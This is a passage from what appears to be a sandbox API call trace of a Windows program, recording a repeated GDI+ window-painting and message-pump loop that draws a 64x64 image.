(hdc=0x3010b83) returned 0xffffffff8a0107cb [0150.079] SelectObject (hdc=0xffffffff8a0107cb, h=0x1a05067e) returned 0x185000f [0150.079] GdipCreateFromHDC (hdc=0xffffffff8a0107cb, graphics=0x15daf0) returned 0x0 [0150.079] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0150.079] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0150.079] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0150.079] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0150.080] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0150.080] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0150.080] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0150.080] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0150.080] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0150.080] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0150.081] GdipCreateRegion (region=0x15dc20) returned 0x0 [0150.081] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0150.081] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0150.081] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0150.081] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0150.081] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0150.081] GetSystemMetrics (nIndex=42) returned 0 [0150.081] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0150.081] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0150.081] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0150.081] CoTaskMemFree (pv=0x1e91eca0) [0150.081] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0150.082] GdipCreateRegion (region=0x15d710) returned 0x0 [0150.082] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0150.082] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0150.082] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0150.082] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0150.082] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0150.082] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0150.083] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0150.083] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0150.083] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0150.083] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0150.084] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0150.084] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0150.084] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0150.084] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0150.084] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0150.084] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0150.084] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0150.084] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0150.084] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0150.084] GetCurrentObject (hdc=0xffffffff8a0107cb, type=0x1) returned 0x1b00017 [0150.084] GetCurrentObject (hdc=0xffffffff8a0107cb, type=0x2) returned 0x1900010 [0150.084] GetCurrentObject (hdc=0xffffffff8a0107cb, type=0x7) returned 0x1a05067e [0150.085] GetCurrentObject (hdc=0xffffffff8a0107cb, type=0x6) returned 0x18a002e [0150.085] SaveDC (hdc=0xffffffff8a0107cb) returned 1 [0150.085] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xfffffffff40407c3 [0150.085] GetClipRgn (hdc=0xffffffff8a0107cb, hrgn=0xfffffffff40407c3) returned 0 [0150.085] SelectClipRgn (hdc=0xffffffff8a0107cb, hrgn=0xffffffffc4040b8a) returned 2 [0150.085] DeleteObject (ho=0xfffffffff40407c3) returned 1 [0150.085] DeleteObject (ho=0xffffffffc4040b8a) returned 1 [0150.085] OffsetViewportOrgEx (in: hdc=0xffffffff8a0107cb, x=0, y=0, lppt=0x26f9348 | out: lppt=0x26f9348) returned 1 [0150.085] GetNearestColor (hdc=0xffffffff8a0107cb, color=0xffffff) returned 0xffffff [0150.085] CreateSolidBrush (color=0xffffff) returned 0xffffffffcc100190 [0150.085] FillRect (hDC=0xffffffff8a0107cb, lprc=0x15d7c0, hbr=0xffffffffcc100190) returned 1 [0150.085] DeleteObject (ho=0xffffffffcc100190) returned 1 [0150.086] RestoreDC (hdc=0xffffffff8a0107cb, nSavedDC=-1) returned 1 [0150.086] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0150.086] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff8a0107cb) returned 0x0 [0150.086] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc4e0dbd) returned 0x0 [0150.086] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0150.086] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0150.086] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0150.086] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0150.086] GetSystemMetrics (nIndex=42) returned 0 [0150.086] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0150.086] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0150.086] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0150.086] CoTaskMemFree (pv=0x1e91eca0) [0150.087] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0150.087] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0150.087] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0150.087] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0150.087] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffff8a0107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0150.087] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0150.087] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff8a0107cb) returned 0x0 [0150.087] SelectObject (hdc=0xffffffff8a0107cb, h=0x185000f) returned 0x1a05067e [0150.087] DeleteDC (hdc=0xffffffff8a0107cb) returned 1 [0150.087] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0150.087] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0150.087] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0150.088] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0150.088] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0150.088] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0150.088] WaitMessage () returned 1 [0150.239] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0150.239] IsWindowUnicode (hWnd=0x2031e) returned 1 [0150.239] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0150.239] TranslateMessage (lpMsg=0x15e910) returned 0 [0150.239] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0150.239] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0150.240] GetCurrentThreadId () returned 0xec0 [0150.240] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0150.240] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0150.240] IsWindowUnicode (hWnd=0x2031e) returned 1 [0150.240] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0150.240] TranslateMessage (lpMsg=0x15e910) returned 0 [0150.240] DispatchMessageW (lpMsg=0x15e910) returned 0xc000 [0150.240] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0150.240] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0150.240] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffff8b0107cb [0150.240] SelectObject (hdc=0xffffffff8b0107cb, h=0x1a05067e) returned 0x185000f [0150.240] GdipCreateFromHDC (hdc=0xffffffff8b0107cb, graphics=0x15daf0) returned 0x0 [0150.240] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0150.241] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0150.241] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0150.241] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0150.241] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0150.241] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0150.241] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0150.241] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0150.242] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0150.242] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0150.242] GdipCreateRegion (region=0x15dc20) returned 0x0 [0150.242] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0150.242] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0150.242] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0150.242] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0150.242] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0150.242] GetSystemMetrics (nIndex=42) returned 0 [0150.242] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0150.242] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0150.242] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0150.243] CoTaskMemFree (pv=0x1e91eca0) [0150.243] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0150.243] GdipCreateRegion (region=0x15d710) returned 0x0 [0150.243] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0150.243] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0150.243] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0150.243] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0150.243] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0150.243] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0150.244] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0150.244] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0150.244] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0150.244] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0150.244] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0150.244] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0150.244] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0150.244] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0150.244] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0150.244] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0150.245] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0150.245] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0150.245] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0150.245] GetCurrentObject (hdc=0xffffffff8b0107cb, type=0x1) returned 0x1b00017 [0150.245] GetCurrentObject (hdc=0xffffffff8b0107cb, type=0x2) returned 0x1900010 [0150.245] GetCurrentObject (hdc=0xffffffff8b0107cb, type=0x7) returned 0x1a05067e [0150.245] GetCurrentObject (hdc=0xffffffff8b0107cb, type=0x6) returned 0x18a002e [0150.245] SaveDC (hdc=0xffffffff8b0107cb) returned 1 [0150.245] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffc5040b8a [0150.245] GetClipRgn (hdc=0xffffffff8b0107cb, hrgn=0xffffffffc5040b8a) returned 0 [0150.245] SelectClipRgn (hdc=0xffffffff8b0107cb, hrgn=0xfffffffff50407c3) returned 2 [0150.245] DeleteObject (ho=0xffffffffc5040b8a) returned 1 [0150.245] DeleteObject (ho=0xfffffffff50407c3) returned 1 [0150.245] OffsetViewportOrgEx (in: hdc=0xffffffff8b0107cb, x=0, y=0, lppt=0x26f9c80 | out: lppt=0x26f9c80) returned 1 [0150.245] GetNearestColor (hdc=0xffffffff8b0107cb, color=0xffffff) returned 0xffffff [0150.246] CreateSolidBrush (color=0xffffff) returned 0xffffffffcd100190 [0150.246] FillRect (hDC=0xffffffff8b0107cb, lprc=0x15d7c0, hbr=0xffffffffcd100190) returned 1 [0150.246] DeleteObject (ho=0xffffffffcd100190) returned 1 [0150.246] RestoreDC (hdc=0xffffffff8b0107cb, nSavedDC=-1) returned 1 [0150.246] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0150.246] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff8b0107cb) returned 0x0 [0150.246] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc4c0dbd) returned 0x0 [0150.246] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0150.246] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0150.247] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0150.247] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0150.247] GetSystemMetrics (nIndex=42) returned 0 [0150.247] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0150.247] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0150.247] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0150.247] CoTaskMemFree (pv=0x1e91eca0) [0150.247] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x0) returned 0x0 [0150.248] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0150.248] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0150.248] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0150.248] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0150.248] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffff8b0107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0150.249] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0150.249] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff8b0107cb) returned 0x0 [0150.249] SelectObject (hdc=0xffffffff8b0107cb, h=0x185000f) returned 0x1a05067e [0150.249] DeleteDC (hdc=0xffffffff8b0107cb) returned 1 [0150.249] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0150.249] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0150.249] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0150.249] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0150.249] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0150.249] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0150.249] WaitMessage () returned 1 [0150.498] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0150.498] IsWindowUnicode (hWnd=0x2031e) returned 1 [0150.498] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0150.498] TranslateMessage (lpMsg=0x15e910) returned 0 [0150.498] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0150.498] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0150.498] GetCurrentThreadId () returned 0xec0 [0150.498] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0150.498] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0150.498] IsWindowUnicode (hWnd=0x2031e) returned 1 [0150.498] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0150.499] TranslateMessage (lpMsg=0x15e910) returned 0 [0150.499] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0150.499] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0150.499] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0150.499] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffff8c0107cb [0150.499] SelectObject (hdc=0xffffffff8c0107cb, h=0x1a05067e) returned 0x185000f [0150.499] GdipCreateFromHDC (hdc=0xffffffff8c0107cb, graphics=0x15daf0) returned 0x0 [0150.499] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0150.499] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0150.499] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0150.499] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0150.499] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0150.499] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0150.499] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0150.500] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0150.500] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0150.500] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0150.500] GdipCreateRegion (region=0x15dc20) returned 0x0 [0150.500] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0150.500] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0150.500] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0150.501] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0150.501] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0150.501] GetSystemMetrics (nIndex=42) returned 0 [0150.501] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0150.501] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0150.501] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0150.501] CoTaskMemFree (pv=0x1e91eca0) [0150.501] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0150.501] GdipCreateRegion (region=0x15d710) returned 0x0 [0150.501] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0150.501] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0150.501] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0150.501] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0150.501] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0150.502] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0150.502] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0150.502] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0150.502] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0150.502] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0150.503] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0150.503] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0150.503] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0150.503] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0150.503] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0150.503] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0150.503] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0150.503] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0150.503] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0150.503] GetCurrentObject (hdc=0xffffffff8c0107cb, type=0x1) returned 0x1b00017 [0150.504] GetCurrentObject (hdc=0xffffffff8c0107cb, type=0x2) returned 0x1900010 [0150.504] GetCurrentObject (hdc=0xffffffff8c0107cb, type=0x7) returned 0x1a05067e [0150.504] GetCurrentObject (hdc=0xffffffff8c0107cb, type=0x6) returned 0x18a002e [0150.504] SaveDC (hdc=0xffffffff8c0107cb) returned 1 [0150.504] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xfffffffff60407c3 [0150.504] GetClipRgn (hdc=0xffffffff8c0107cb, hrgn=0xfffffffff60407c3) returned 0 [0150.504] SelectClipRgn (hdc=0xffffffff8c0107cb, hrgn=0xffffffffc6040b8a) returned 2 [0150.504] DeleteObject (ho=0xfffffffff60407c3) returned 1 [0150.504] DeleteObject (ho=0xffffffffc6040b8a) returned 1 [0150.505] OffsetViewportOrgEx (in: hdc=0xffffffff8c0107cb, x=0, y=0, lppt=0x26faaa0 | out: lppt=0x26faaa0) returned 1 [0150.505] GetNearestColor (hdc=0xffffffff8c0107cb, color=0xffffff) returned 0xffffff [0150.505] CreateSolidBrush (color=0xffffff) returned 0xffffffffce100190 [0150.505] FillRect (hDC=0xffffffff8c0107cb, lprc=0x15d7c0, hbr=0xffffffffce100190) returned 1 [0150.505] DeleteObject (ho=0xffffffffce100190) returned 1 [0150.505] RestoreDC (hdc=0xffffffff8c0107cb, nSavedDC=-1) returned 1 [0150.505] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0150.505] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff8c0107cb) returned 0x0 [0150.505] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc4a0dbd) returned 0x0 [0150.505] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0150.505] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0150.505] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0150.505] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0150.506] GetSystemMetrics (nIndex=42) returned 0 [0150.506] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0150.506] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0150.506] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0150.506] CoTaskMemFree (pv=0x1e91eca0) [0150.506] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0150.506] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0150.506] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0150.506] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0150.506] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffff8c0107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0150.506] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0150.507] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff8c0107cb) returned 0x0 [0150.507] SelectObject (hdc=0xffffffff8c0107cb, h=0x185000f) returned 0x1a05067e [0150.507] DeleteDC (hdc=0xffffffff8c0107cb) returned 1 [0150.507] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0150.507] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0150.507] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0150.507] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0150.507] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0150.507] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0150.507] WaitMessage () returned 1 [0150.685] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0150.685] IsWindowUnicode (hWnd=0x2031e) returned 1 [0150.685] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0150.685] TranslateMessage (lpMsg=0x15e910) returned 0 [0150.685] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0150.685] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0150.685] GetCurrentThreadId () returned 0xec0 [0150.685] InvalidateRect (hWnd=0x2031e, 